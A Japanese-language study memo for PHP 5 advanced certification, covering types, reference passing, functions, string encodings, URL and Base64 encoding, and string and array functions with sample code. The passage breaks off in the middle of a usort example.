NOTE

PHP 5 系はすでにサポートが終了している非常に古いバージョンなので本ドキュメントはPHP5技術者認定上級を取得した時の学習メモとしてのみ残しており実際の使用は想定していません。
2026-09-30 時点では PHP 8.5 系がリリースされています。セキュリティ面から適切なバージョンを使用してください。

本ドキュメントの記載形式をまとめます。

  • 関数、メソッド定義ではパラメーター(仮引数)、呼び出しでは引数と区別しています。
    両者を表すときは引数で統一します。
  • extensionは拡張モジュールと記載しています。
  • PHP5.3以降・5.4以降などバージョンが限られる機能には、バージョンを明記しています。バージョンの記載がない機能はPHP5.0以降で使用できます。
  • 「パラメーター」「ユーザー」「サーバー」のように長音を付けて表記します。

サンプル

サンプルコードは本ドキュメント内に掲載しています。

目次

0章 基本

型

PHPは8種類の型をサポートします。

スカラー型4種類 内容
boolean 論理値
integer 整数
float/double 浮動小数点数
string 文字列
複合型2種類 内容
array 配列
object オブジェクト
特別な型2種類 内容
resource リソース
NULL ヌル

(補足) callable(PHP5.4以降のタイプヒントで指定可能)は疑似タイプ(pseudo-type)であり、型の数には含めません。

リソースは特別な変数であり、外部リソースへのリファレンスを保持しています。リソースは、特別な関数により作成され、使用されます。 これらの関数および対応する全てのリソース型の一覧については、 付録 を参照ください。

PHP: リソース - Manual

値渡しと参照渡し

値渡し(変数の値がコピーされる)

  • integer
  • boolean
  • float/double
  • string
  • array (コピーオンライト。関数内で変更しても呼び出し元には影響しない)

オブジェクトハンドルの値渡し

  • object
  • resource

(※) オブジェクトは「参照渡し」ではなく、オブジェクトを指す識別子(ハンドル)が値渡しされます。 そのため、引数のオブジェクトのプロパティを変更すると呼び出し元にも反映されますが、 関数内で引数自体へ別のオブジェクトを代入しても呼び出し元の変数は変わりません。 呼び出し元の変数自体を書き換えたいときは、参照渡し(&)を使用します。 arrayを参照渡しにしたいときも同様に&を付けます。

1章 関数

副作用

引数を受け取り値を返すこと以外の処理を副作用と呼びます。

// 副作用のない関数
function add($a, $b) {
    return $a + $b;
}
// 副作用を持つ関数
// 値を出力するという副作用を持ちます。
function output_add($a, $b) {
    echo $a + $b;
}

大文字・小文字の区別

種別|大文字・小文字区別 —|— 関数| なし クラス| なし メソッド|なし 定数・変数(プロパティ)|あり

return

複数のreturn文を許容します(エラーになりません)。
最初のreturn文で返ります。

関数のネスト

<?php
function foo() {
    echo 'foo';
    function bar() {
        echo 'bar';
    }
}
foo();
bar(); // エラーになりません。
// foobarと表示されます。

上記コードはエラーになりませんが極力さけてください。 foo()を2回呼ぶと、bar()の再定義になり「Cannot redeclare bar()」のFatal errorになります。

引数のデフォルト値

  • 定義
    デフォルト値を設定したパラメーター以降のパラメーターはすべてデフォルト値を設定する必要があります。
    設定しなくてもエラーにはなりませんが必ず設定してください。
  • 呼び出し
    関数を呼び出すさいにデフォルト値が設定されているパラメーターは引数を省略できます。
    ただし省略した引数以降の引数もすべて省略する必要があります。
<?php
function foo($x, $y = 'y', $z = 'z')
{
    echo $x.','.$y.','.$z;
}

foo('a');      // a,y,z
foo('a', 'b'); // a,b,z
// foo('a', ,'c'); Parse error.

引数の数

関数呼び出しで引数の数が足りないときは警告(E_WARNING)が発生します。
処理は中断せず指定されない引数は未設定として処理を続けます。
引数が多いときは無視して続行します。

<?php
function foo($x, $y, $z)
{
    echo $x;
}
foo(1); 
// Warning: Missing argument 2 for foo()
// Warning: Missing argument 3 for foo()

可変引数

<?php
function foo()
{
    var_dump(func_get_args());
}

foo(1, 'a', 2.3, true);
array (size=4)
  0 => int 1
  1 => string 'a' (length=1)
  2 => float 2.3
  3 => boolean true

関数|内容 —|— func_num_args | 引数の数を返します。 func_get_arg | 指定した位置の引数を返します。 func_get_args | すべての引数を返します。

タイプヒンティング

関数のパラメーターはタイプヒンティングを使用できます。

<?php
class Foo {
  function __toString() {
      return 'Instance of Foo.';
  }  
}

function bar(Foo $x) {
    echo $x;
}

echo bar(new Foo);

static変数

staticキーワードで宣言した変数は関数の呼び出しが完了した後も変数の値を保持します。
static変数の初期化は最初の呼び出しのときのみ行われます。

<?php
function foo() {
    static $x = 0;
    return ++$x;
}
echo foo();   // 1
echo foo();   // 2
echo foo();   // 3

可変関数

「可変関数は、echo, print, unset(), isset(), empty(), include, require のような言語構造と組み合わせて使用する ことはできません。」php公式マニュアル。

$func = 'time';
var_dump($func()); // int(1486718859)
$d = 'date';
$t = 'time';
var_dump($d('Y-m-d', $t())); // string(10) "2017-02-10"

参照渡し

  • 参照渡しもデフォルト値を設定できます。
  • 呼び出しは引数の省略を除き変数を渡す必要があります。

引数の参照渡し

引数は参照渡しですが返り値 はコピーが返されます。

<?php
function foo(&$x) {
    $x += 10;
    return $x;
}

$x = 1;
$z = foo($x);
var_dump($x); // int(11)
var_dump($z); // int(11)

$z += 1;
var_dump($x); // int(11)
var_dump($z); // int(12)

参照渡しの変数を関数内で代入したときはコピーになります。

function foo(&$x) {
    $y = $x; // 値がコピーされます。
    $y += 10;
    return $y;
}
$x = 1;
$z = foo($x);
var_dump($x); // int(1)
var_dump($z); // int(11)

返り値が参照

<?php
function &foo(&$x) {
    $x += 10;
    return $x;
}

$x = 1;
$y = &foo($x); // $xと$yは同じ参照を持ちます。
var_dump($x); // int(11)
var_dump($y);  // int(11)

$y += 1;
var_dump($x);  // int(12)
var_dump($y);  // int(12)

2章 文字列

文字集合

文字集合(例 UnicodeやJIS X 0208)には符号化方式(Unicodeの場合、UTF-8やUTF-16)によらないコードポイントが割り振られています。 後述するようにUnicodeのコードポイントをuniversal character namesといい\uXXXXで表します。

大まかに言えば、「文字コード」は文字に割り当てられた「数字」のことで、 「エンコード」は文字と数字をマッピングする「方式」のことだと捉えていれば、大きくは外れません。 厳密な意味では、「Unicode」という「文字集合」に対して「UTF-8」「UTF-16」などの「エンコード」方式がある、 同様に、「JIS X 0208」という「文字集合」に対して「ISO-2022-JP」「EUC-JP」「Shift_JIS」などの「エンコード」方式がある、

出典 http://d.hatena.ne.jp/cero-t/20110614/1308063484

文字エンコード

文字エンコード 内容
ASCII 7ビット文字コード
ISO 8859-1(Latin1) 8ビット(1バイト)文字コード
ISO-2022-JP(JISコード) 7ビット文字コード。メールの件名、本文で使用されることが多い文字コードです。また件名などのメールヘッダはASCIIしか使えないため、ISO-2022-JPをBase64でエンコードしRFC 2047のencoded-word形式(=?ISO-2022-JP?B?...?=)にする必要があります。
メールのSubjectヘッダのエンコード - うまいぼうぶろぐ
Shift_JIS(Windows独自拡張CP932) マルチバイト。8ビット文字コード。 「文字符号化方式Shift_JISの設計者らは、先行してよく利用されていたJIS C 6220(現在のJIS X 0201)の8ビット符号(以下「英数字・半角カナ」)と、JIS C 6226(現在のJIS X 0208、以下「漢字」)の両文字集合を表現しようとした。」 出典 Wikipedia
UTF-8(Unicodeのエンコード) マルチバイト。1バイトから4バイトでUnicode(文字集合)を表します。ASCIIの範囲(U+0000〜U+007F)は1バイトで表します(ISO 8859-1の0x80以降の文字は2バイトになります)。 英文が多い時、効率の良い符号化です。
UTF-16(Unicodeのエンコード) マルチバイト。BMP(基本多言語面)の文字は2バイト、BMP外の文字はサロゲートペアで4バイトで表します。英文ではUTF-8より効率が悪くなりますが、日本語ではUTF-8(3バイト)より効率が良くなります。

universal character names

多くのプログラミング言語でUnicodeは\uXXXX(universal character names)という表記で文字列の中に埋め込めむことができます(JavaScriptは\uXXXXを使用できますがPHPでは使用できません)。

\uXXXX で埋め込んだ文字がどのように解釈されるかは言語や処理系によって異なります。

JavaScript の場合、document.write(“\u3042\u0062\u0063”) などによって出力された文字列はウェブページのエンコーディングに合わせてよきにはからわれます。

出典 http://0xcc.net/blog/archives/000183.html

php.ini文字コード関連

ディレクティブ 値
default_charset = “UTF-8” PHPのデフォルト文字コード
mbstring.internal_encoding = “UTF-8” mbstring関連デフォルト文字コード指定
mbstring関連関数 内容
bool mb_check_encoding ([ string $var = NULL [, string $encoding = mb_internal_encoding() ]] ) そのバイトストリームが指定したエンコーディングで有効なものかどうかを調べます。 これは、いわゆる「不正なエンコーディングによる攻撃」を防ぐのに役立ちます。

var 調べるバイトストリーム。省略した場合は、 リクエスト開始時からのすべての入力が対象となります。

encoding 期待するエンコーディング。

返り値
成功した場合に TRUE を、失敗した場合に FALSE を返します。php公式マニュアル。
string mb_convert_encoding ( string $str , string $to_encoding [, mixed $from_encoding = mb_internal_encoding() ] ) 「文字列 strの文字エンコーディングを、 オプションで指定した from_encoding から to_encoding に変換します。」php公式マニュアル。

mbstring系の関数は、php.iniのmbstring.internal_encodingが文字エンコーディング引数のデフォルト値になるため、引数を省略できます。一方、htmlspecialchars関数のようにmbstring.internal_encodingがデフォルト値にならない関数は、文字エンコーディングを必ず指定してください(徳丸浩『体系的に学ぶ 安全なWebアプリケーションの作り方』の内容を要約)。

構文

  • シングルクォート
    • エスケープシーケンス
      エスケープシーケンスは’をエスケープする\‘と\自体をエスケープする\\のみです。
    • 変数は展開しません。
  • ダブルクォート
    • エスケープシーケンスは下記を参照してください。
      PHP: 文字列 - Manual
    • 変数を展開します。
  • ヒアドキュメント
    複数行にわたる文字列を作成するのに便利です。 + ヒアドキュメント内の改行、空白はそのまま出力されます。
    • エスケープシーケンスの多くはダブルクォート文字列と同じですが、”をエスケープする必要はありません。
    • 変数を展開します。
  • Nowdoc
    • エスケープはありません。
    • 変数は展開はしません。
    • IDをシングルクォートで囲みます。

ヒアドキュメント

<?php
$doc = <<<EOS
"プロパティ:"\t"値",
'プロパティ:'\t'値',
\n
\: バックスラッシュもエスケープの必要がありません。
EOS;
echo $doc;
"プロパティ:"	"値",
'プロパティ:'	'値',


\: バックスラッシュもエスケープの必要がありません。

NowDocument(PHP 5.3以降)

開始ID(書き例ではEOS)をシングルクォートで囲みます。
終了IDは囲まないことに注意してください。

  • エスケープシーケンスはありません。
  • 変数展開はしません。
$doc = <<<'EOS'
"プロパティ:"\t"値",
'プロパティ:'\t'値',
\n
\: バックスラッシュもエスケープの必要がありません。
EOS;
echo $doc;
"プロパティ:"\t"値",
'プロパティ:'\t'値',
\n
\: バックスラッシュもエスケープの必要がありません。

エスケープシーケンス

エスケープシーケンスはバックスラッシュと特定文字で構成します。
エスケープシーケンス自体を文字列で表すときはバックスラッシュをエスケープします。

<?php
<?php
$a = "エスケープにおける\\の扱い。テスト\tで\\tす。\\";
echo $a;
echo '<br>';
$b = 'エスケープにおける\\の扱い。テスト\tで\\tす。\\';
echo $b;
エスケープにおける\の扱い。テスト	で\tす。\
エスケープにおける\の扱い。テスト\tで\tす。\

エスケープシーケンスその他の例 ダブルクォート文字列の8進数/16進数表記

種類 シーケンス 例 a
8進数表記 \ \141
16進数表記 \x \x61
$a = "\141";
echo $a;      // a
$a = "\x61";
echo $a;      // a
/*
 * シングルクォートのエスケープシーケンスは\'と\\のみ
 */
$a = '\141';
echo $a;      // \141
$a = '\x61';
echo $a;      // \x61

上記は文字を表すためエスケープシーケンスを使用します。
整数の8進数、16進数は下記で扱えます。

$octal = 0141;      // 8進数リテラル(整数の97)
$hex   = 0x61;      // 16進数リテラル(整数の97)
$bin   = 0b1100001; // 2進数リテラル(PHP 5.4以降。整数の97)
var_dump($octal, $hex, $bin);    // すべて int(97)

// 文字列を数値へ変換するときは進数を指定できる関数を使います。
var_dump(octdec('141'));         // int(97)
var_dump(hexdec('61'));          // int(97)
var_dump(bindec('1100001'));     // int(97)

// ビット演算は整数で行います。
var_dump(0b1001 & 0b0110);       // int(0)  ビット積
var_dump(0b1001 | 0b0110);       // int(15) ビット和
// 文字列同士のビット演算は各文字のバイト値ごとに行われるため、
// '1001' & '0110' のような2進数文字列の計算には使えません。

エスケープシーケンスその他の例2 PCRE系正規表現のユニコードコードポイント \x{コードポイント}

// PCREはUTF-8のみ対応
$result = preg_match("/\x{3042}/u", '1abあc', $matches);
print_r($matches); // array(0=>"あ")

echo, print, printf, sprintf

関数 種類 返り値 備考
echo 言語構造 なし カンマ区切りで複数出力することが可能です。
print 言語構造 常に1 カンマ区切りで複数出力することはできません。
printf 関数 出力した文字数 書式文字列に従い値を整形し出力します。 マルチバイト文字には対応していません。
sprintf 関数 フォーマット済み文字列 printfと同様の働きですが出力ぜず整形済文字を返します。

書式文字列

%(置換マーク)で始まり型指定子で終わります。間に修飾子を指定できます。 書式文字列の詳細は下記を参考にしてください。
http://php.net/manual/ja/function.sprintf.php

%[修飾子]型指定子
printf('%05d', 12);      // 00012
printf('%03s', 'ab');    // 0ab 文字列でも指定幅までゼロで埋められる
printf('%03d', 'ab');    // 000
printf('%03s', 'あい');   // あい
printf('%03d', 'あい');   // 000
printf('%03d', 12345);    // 12345 幅指定子は最低の桁数を表します。それより大きくても問題ありません。
printf('%06.3f', 1.23);   // 01.230  全体で最低6桁で、そのうち3桁は少数部

幅指定子は最低の桁数を表します。

オプションの符号指定子。
これは、 数値で符号 (- あるいは +) を使用するよう指定します。 デフォルトでは、数値が負の場合の - 符号のみが使用されます。 この指定子により、正の数にも強制的に + 符号をつけることができます。 これは PHP 4.3.0 で追加されました。
オプションのパディング指定子。
これは、 文字列が正しい長さになるまでどんな文字で埋めるかということを 指定します。これは空白かまたは 0 (文字 ‘0’) のいずれかです。デフォルトでは空白で埋められます。 これ以外のパディング文字を指定するには、その文字の前に 単一引用符 (‘) を置きます。 後述の例を参照ください。
オプションのアラインメント指定子。
これは、 結果を左寄せまたは右寄せにしたい場合に指定します。 デフォルトは右寄せです。ここで - 文字を指定すると左寄せとなります。
オプションの数字。
これは表示幅指定子です。 結果を(最低)何桁にするかを指定します。
オプションの精度指定子
(ピリオド (.) に続けてオプションで桁数指定文字列を書いたもの)。 これは、浮動小数点数に対して数字を何桁まで表示するかを指定します。 文字列に対して使用した場合は、これは切り捨て位置として働きます。 この文字数を超える文字を切り捨てられます。 さらに、数値の桁埋めに使う文字を指定することもできます。桁埋め文字は、ピリオドと数値の間に指定します。
型指定子。
引数を何の型として扱うかを指定します。 指定できる型を以下に示します。

% - パーセント文字。引数は不要です。
b - 引数を整数として扱い、 2 進数として表現します。
c - 引数を整数として扱い、その ASCII 値の文字として表現します。
d - 引数を整数として扱い、 10 進数として表現します。
e - 引数を科学記法として扱います (例 1.2e+2)。 精度の指定子は、PHP 5.2.1 以降では小数点以下の桁数を表します。 それより前のバージョンでは、有効数字の桁数 (ひとつ小さい値) を意味していました。
E - %e と同じですが、 大文字を使います (例 1.2E+2)。
f - 引数を double として扱い、 浮動小数点数として表現します。
F - 引数を float として扱い、 浮動小数点数として表現します (ロケールに依存しません)。 PHP 4.3.10 および PHP 5.0.3 以降で使用可能です。 g - %e および %f の短縮形。
G - %E および %f の短縮形。
o - 引数を整数として扱い、 8 進数として表現します。
s - 引数を文字列として扱い、表現します。
u - 引数を整数として扱い、符号無しの 10 進数として表現します。
x - 引数を整数として扱い、16 進数として (小文字で)表現します。
X - 引数を整数として扱い、16 進数として (大文字で)表現します。

出典 PHP公式マニュアル

パーセントエンコード/URLエンコード

URLで使用できない文字をバイト単位(8ビット、10進数256)で%XX(16進数)へエンコードします。
%FFは10進数で255です。

一般に下記2種類はともにURLエンコードと呼ばれます。

種類 関数(カッコ内はデコード) 内容 対象 空白の扱い
パーセントエンコード rawurlencode(rawurldecode) 「RFC 3986 に基づき URL エンコードを行う」 出典PHP公式マニュアル(~をエンコードしないのはPHP5.3.0以降) URL(クエリ部分除く) %20
URLエンコード urlencode(urldecode) 多くの部分はパーセントエンコードと共通です。空白は+へ変換します。 POSTボディー部(enctype=”application/x-www-form-urlencoded” )
GETクエリ部
クッキー値
+

RFC 3986に準拠し空白を%20へ変換する符号化をパーセントエンコードと呼びます。
またGETクエリ文字、POSTボディー部(enctypeがapplication/x-www-form-urlencodedとき)およびクッキーで使われる空白文字を+へ変換する符号化をURLエンコーディングとよび区別することがあります。

rawurlencode

-_.~ を除くすべての非アルファベット文字をパーセント 記号 (%)に続いて 2 つの 16 進数がある表現形式に 置き換えた文字列を返します。これは、文字定数が特殊な URL デリミタと して解釈されたり、URL デリミタが(いくつかの電子メールシステムのような) 転送メディアにより文字変換されて失われてしまったりすることが ないように、» RFC 3986 で定められたエンコーディング方法です。

urlencode

-_. を除くすべての非英数文字が % 記号 (%)に続く二桁の数字で置き換えられ、 空白は + 記号(+)にエンコードされます。 同様の方法で、WWW のフォームからポストされたデータはエンコードされ、 application/x-www-form-urlencoded メディア型も同様です。歴史的な理由により、この関数は » RFC 3986 エンコード( rawurlencode() を参照してください) とは異なり、 空白を + 記号にエンコードします。

出典PHPマニュアル
参考 https://www.glamenv-septzen.net/view/1170

代表的な文字のURLエンコード

文字 エンコード
%0D CR(キャリッジリターン)
%0A LF(ラインフィード)
%自体 %25

ブラウザのURLエンコードはOSに関わらず改行を%0D%0Aへ変換します。
PHPのsetcookie関数は値をURLエンコードします。値に含まれる改行がLFなら%0A、CRLFなら%0D%0Aになります(改行コードはOSではなく、文字列そのものに含まれる改行で決まります)。

Base64エンコード

関数 内容
base64_encode MIME base64 方式でデータをエンコードします。
base64_decode MIME base64 方式でエンコードしたデータをデコードします。
echo base64_encode('abcあいう') . PHP_EOL;
echo base64_decode('YWJj44GC44GE44GG');
YWJj44GC44GE44GG
abcあいう

使用例

  • JSONで画像データを扱うときは画像データをbase64エンコードします。
  • Basic認証でAuthorizationヘッダーへ付加するtokenはユーザー名とパスワードをコロンで結合しBASE64 でエンコードした値です。
  • メールの件名(ISO-2022-JPをBase64でエンコードし、RFC 2047のencoded-word形式にします。メールヘッダはASCIIしか使えないためです。)

base64とは、64進数を意味する言葉で、すべてのデータをアルファベット(a~z, A~Z)と数字(0~9)、一部の記号(+,/)の64文字で表すエンコード方式です

かつての電子メールを送るためのプロトコルSMTPでは、ASCIIといわれる7bitで表現される英数字しか送ることができませんでした したがって、メールを使って画像や音声などのデータをやりとりしたいと思った時に、英数字しか対応していないSMTPでは、それらのデータを送受信することができませんでした

そこで、すべてのデータを英数字で表すMIME(Multipurpose Internet Mail Extensions)という規格が登場し、その中でbase64というデータの変換方法が定められました これによって、受信側と送信側がMIMEに則ってエンコード・デコードをすることで、メールを通して画像や音声などの送受信が可能になりました

現在では、JSONなどで特殊文字を含まないように画像データをbase64でエンコードしたり、Webページの表示の際にリクエスト数を減らすためにbase64でエンコードした画像をhtmlにそのまま埋め込むなどの用途で用いられています

base64ってなんぞ??理解のために実装してみた - Qiita (引用中の明らかな誤記は修正しています。)

文字列関数

PHP: String 関数 - Manual

関数 内容
trim トリム
ltrim /
rtrim /
ucfirst 「文字列の最初の文字を大文字にする」php公式マニュアル。
ucwords 「文字列の各単語の最初の文字を大文字にする」php公式マニュアル。
strpos 指定文字列が最初に現れた位置を返します。インデックスは0からです。
strstr 指定した文字列が最初に現れた位置から末尾までの文字列を返します。
strchr strstrのエイリアスです。
strrchr 「文字列中に文字が最後に現れる場所を取得する」php公式マニュアル。strrstrという関数はありません。
string substr ( string $string , int $start [, int $length ] ) 文字列 string の、start で指定された位置から length バイト分の文字列を返します。
mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) 「この関数は、subject の中の search を全て replace に置換します。」php公式マニュアル。
mixed substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] ) substr_replace()は、文字列 stringの start および (オプションの) length パラメーターで区切られた部分を replacement で指定した文字列に置換します。
substr_count 指定文字列が現れる回数を返します。
strrev /
str_repeat /
str_pad 文字を指定した長さにして返します。右に文字が追加されます。デフォルトは空白文字で埋めます。
フォーマット文字列は左側へ空白を追加します。
array_padは(サイズが正のとき)要素を右へ追加します。
strspn 指定された文字で何文字目まで構成されているかを調べそのインデックスを返します。
get_meta_tags HTMLドキュメントのメタ情報を返します。
strcmp 「バイナリセーフな文字列比較」「str1 が str2 よりも小さければ < 0 を、str1が str2よりも大きければ > 0 を、 等しければ 0 を返します。」php公式マニュアル。
strcasecmp 「大文字小文字を区別しないバイナリセーフな文字列比較を行う」PHP公式マニュアル。
strnatcmp /
strncasecmp /
strtok 「strtok() は文字列 (str) を 何らかの文字 token によって区切られている小さな文字列 (トークン) に分割します。 “This is an example string” のような文字列がある場合、 空白文字をトークンとするとこの文字列を個々の単語に分割することができます。strtok は最初のコールの時のみ string 引数を使用することに注意してください。 strtok は、文字列のどこにいるのかの情報を保持しているため、 2回目以降のコールではトークンのみを必要とします。 最初からやりなおす場合や新しい文字列をトークンに分割する場合、 初期化するために再度string引数を指定してstrtokをコールします。 文字列は、引数の文字のどれかが見つかったときにトークンに分割されます。」php公式マニュアル。
sscanf 「フォーマット文字列に基づき入力を処理する」「この関数のパラメータが二つだけの場合、処理された値は配列として返されます。 それ以外の場合は、もしオプションのパラメータが渡されればこの関数は 割り当てられた値の数を返します。オプションのパラメータは 参照渡しにする必要があります。」php公式マニュアル。
$str = "2017/1/1";
$n = sscanf($str, "%4d/%2d/%2d", $y, $m, $d);
printf('%4d-%02d-%02d', $y, $m, $d);
2017-01-01

3章 配列

配列の分類

  • インデックス配列
  • 連想配列

キー

  • 配列のキーは整数と文字列を指定できます。
  • 浮動小数点数は小数の部分が切り捨てられます。
  • ‘1’, ‘2’, ‘3’などは整数へ変換されます(‘01’などは変換されません)。
  • オブジェクトは指定できません。

要素の格納順

PHPの配列は順序付きのハッシュマップで、要素は常に格納した順(追加した順)に保持されます。キーの大小順ではありません。

// キーを明示せず格納
$a = ['あ', 'い', 'う'];
var_dump($a);
array(3) { // 格納順(この例ではキーも0から昇順)
  [0]=> "あ"
  [1]=> "い"
  [2]=> "う"
}
// キーを明示して格納
$a = [2=>'う', 1=>'い', 0=> 'あ'];
var_dump($a);
array { // キーは格納順になります。
  [2]=> "う"
  [1]=> "い"
  [0]=> "あ"
}

配列へキーを明示せず要素を追加するときは、既存の整数キーの最大値+1がキーになります(整数キーが1つもないときは0)。

$h = [ 'a' => 'あ', 'b' => 'い'];
$h[] = 'う';
var_dump($h);
array {
  'a' => string 'あ'
  'b' => string 'い'
   0  => string 'う'     //キーは整数0が追加されます。
}
$h = [ 'a' => 'あ', 'b' => 'い' , 10 => 'う'];
$h[] = 'え';
var_dump($h);
array {
  ["a"]=> "あ"
  ["b"]=> "い"
  [10] => "う"
  [11] => "え"         // キーは整数11が追加されます。
}

数値インデックスを指定し追加したときはそのキーがその後のインデックスの基準になります。

$a = ['a', 'b', 5 => 'c', 'e', 'f'];
var_dump($a);
 {
  [0]=> "a"
  [1]=> "b"
  [5]=> "c"
  [6]=> "e"
  [7]=> "f"
}
$a = ['あ', 'い', 'a'=>'う', 'え' ];
var_dump($a);
array {
  [0]   => "あ"
  [1]   => "い"
  ["a"] => "う"
  [2]   => "え"
}

数字の文字列インデックスはキャストされます。

$a = ['a', '1'=> 'b', 'c'];
var_dump($a);
array {
  [0]=> "a"
  [1]=> "b"
  [2]=> "c"
}

キーの存在確認

構文 | 内容 —|— isset (言語構造) | キーの存在を確認します。キーの値がNULLときはキーがある場合でもはFALSEを返します。 array_key_exists (関数) | キーの存在を確認します。値がNULLに関わらずキーがあればTRUEを返します。

配列の変数展開

配列はダブルクォート文字列内で変数展開できます。

<?php
$a = [ 'あ', 'い'];
echo "$a[0]"; // あ

2次元配列は{}で囲みます。

<?php
$a = [];
$a[0] = [ 'あ', 'い'];
$a[1] = [ 'う', 'え'];

echo "{$a[0][0]}"; // あ
echo "$a[0][0]";   // Notice: Array to string conversion

連想配列を{}で囲んだときはキーをクォートで囲む必要があります。

<?php
$a = [
    'a' => 'あ',
    'b' => 'い',
];

echo "$a[b]";      // い キーをクォートで囲まなくてもよい
echo "{$a[b]}";    // Notice: Use of undefined constant b - assumed 'b' 
echo "{$a['b']}";  // い

compact(変数名から配列を作る。変数展開とは別の機能)

<?php
$ja = 'あいう';
$en = 'abc';

$arr = compact('ja', 'en');
var_dump($arr);
array {
  'ja' => 'あいう'
  'en' => 'abc'
}

要素数

count関数で要素数を取得します。
sizeofはcountのエイリアスです。

要素の削除

関数|内容 —|— array_shift | 先頭から要素削除。インデックスは振り直されます。引数に渡した配列自体を変更します。 array_pop | 末尾から要素削除。引数に渡した配列自体を変更します。 array_splice | 指定した要素を削除。インデックスは振り直されます。引数に渡した配列自体を変更します unset |指定した要素を削除。インデックスは振り直されません。引数に渡した配列自体を変更します

$a = [ 'あ', 'い', 'う'];
array_shift($a);
var_dump($a);
array {
  [0]=> "い"
  [1]=> "う"
}
$a = [ 'あ', 'い', 'う'];
array_pop($a);
var_dump($a);
array {
  [0]=> "あ"
  [1]=> "い"
}
$a = [ 'あ', 'い', 'う'];
array_splice($a, 0, 2);
var_dump($a);
array(1) {
  [0]=> "う"
}
$a = [ 'あ', 'い', 'う'];
unset($a[1]);
var_dump($a);
array {
  [0]=> "あ"
  [2]=> "う"
}

コールバックを使用した逐次処理

関数 内容
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] ) 「array 配列の各要素にユーザー定義関数 callback を適用します。array_walk() は array の内部配列ポインタに影響されません。array_walk() はポインタの位置に関わらず配列の全てに渡って適用されます。」php公式マニュアル。引数で渡した配列自身を変更します。
array array_map ( callable $callback , array $array1 [, array $… ] ) 「array_map() は、array1 の各要素に callback 関数を適用した後、 その全ての要素を含む配列を返します。 callback 関数が受け付けるパラメータの数は、 array_map() に渡される配列の数に一致している必要があります。」php公式マニュアル。
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 配列をコールバック関数でフィルタしフィルタ済の配列を返します。キーは保持されます。
mixed array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) 「コールバック関数を用いて配列を普通の値に変更することにより、配列を再帰的に減らす」出典PHP公式マニュアル

array_walk

注意: callback により配列の値そのものを変更する必要がある場合、 callback の最初の引数は 参照 として渡す必要があります。この場合、配列の要素に加えた変更は、 配列自体に対して行われます。

出典PHP公式マニュアル

<?php
$num = [0, 1, 2, 3, 4, 5];
array_walk($num, function(&$value, $key, $prefix) {  
    $value = $prefix . $value * $value;
}, 'result: ');
var_dump($num);
array {
  0 => 'result: 0' 
  1 => 'result: 1'
  2 => 'result: 4'
  3 => 'result: 9'
  4 => 'result: 16'
  5 => 'result: 25'
}
// 参照を渡していないのでエラー(Fatal error)
array_walk([0, 1, 2, 3, 4, 5], function(&$value, $kery, $prefix) {  
    $value = $prefix . $value * $value;
}, 'result: ');

array_map

array_map() は、array1 の各要素に callback 関数を適用した後、 その全ての要素を含む配列を返します。 callback 関数が受け付けるパラメータの数は、 array_map() に渡される配列の数に一致している必要があります。

出典 PHP公式マニュアル

<?php
$num   = [10, 5, 10, 8, 4];
$price = [100, 200, 100, 125, 250 ];
$total = array_map(function($n, $p) {
   return  'total: ' . $n * $p;
}, $num, $price);
var_dump($total);
array {
  0 => string 'total: 1000'
  1 => string 'total: 1000'
  2 => string 'total: 1000'
  3 => string 'total: 1000'
  4 => string 'total: 1000'
}

array_mapとクロージャの組み合わせ。

$prices = [100, 200];
$quantities = [2, 3];
$tax = 1.08;

function pay(array $prices, array $quantities, $tax) 
{
    $total = array_map(function($price, $quantity) use ($tax) {
        return $price * $quantity * $tax;
    }, $prices, $quantities);
    
    return $total;
}

$total = pay($prices, $quantities, $tax);
var_dump($total);

array_filter

callback 関数によりフィルタ処理が行われた array の全ての要素を含む配列を返します。 callback 関数が true を返した場合、 array の現在の値が結果の配列に入ります。 配列のキーは保存されます。

出典 PHP公式マニュアル

<?php
$num   = [10, 3, 5, 8, 4];
$result = array_filter($num, function($v) {
   return ($v >= 5); 
});
var_dump($result);
array {  // キーが保存されていることに注意してください。
  0 => int 10
  2 => int 5
  3 => int 8
}

array_reduce

callback mixed callback ( mixed $carry , mixed $item ) carry 前回の反復処理の結果を保持します。最初の反復処理のときには、 initial の値を保持しています。

item 現在の反復処理の値を保持します。

initial オプションの intial が利用可能な場合、処理の最初で使用されたり、 配列が空の場合の最終結果として使用されます。

出典 PHP公式マニュアル

<?php
$num   = [1, 2, 3, 4, 5];
$total = array_reduce($num, function($carry, $item) {
   return $carry + $item;
}, 0);
var_dump($total); // int 15

同じ合計を、外側の変数を参照で束縛するクロージャで求める例(副作用に依存するため、実際にはarray_reduceやforeachを使うほうが適切です)

function sum($a)
{
    $total = 0;
    array_map(
        function ($x) use (&$total) {
            $total += $x;

            return;
        },
        $a
    );

    return $total;
}
var_dump(sum($num));  // int 15

ソート

関数|内容 —|— sort, rsort|値を基準とするソートです。sortは昇順です。rsortは降順です。キーは0から始まる整数が振り直されます。 asort, arsort|キーを維持して値を基準としてソートします。 ksort, krsort| キーを基準としてソートします。ksortはキーを昇順でソートします。krsortはキーを降順でソートします。 bool usort ( array &$array , callable $value_compare_func )
uasort, uksort | 「比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。PHP 7.0.0 より前のバージョンでは、この整数が -2147483648 から 2147483647 までの範囲におさまる必要がありました。」php公式マニュアル。キーは0から始まる整数が振り直されます。 uksort | / uasort | / natsort, natcasesort | 「 “自然順”アルゴリズムで配列をソートする」 出典 PHP公式マニュアル

(PHP5のsort系関数は安定ソートではありません。値が等しい要素の元の順序は保証されません。)

usort

usort — ユーザー定義の比較関数を使用して、配列を値でソートする

value_compare_func 比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番>目の引数より小さい場合は負の数を返す必要があります。PHP 7.0.0 より前のバージョンでは、この整数が -2147483648 から 2147483647 までの範囲におさまる必要がありました。

int callback ( mixed $a, mixed $b )

$a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

usort(
    $a,
    function ($x, $y) {
        if ($x === 5) {
            return -1;
        } else {
            if ($y === 5) {
                return 1;
            } else {
                return $x - $y;
            }
        }
    }
);

var_dump($a);
array {
  0 => int 5
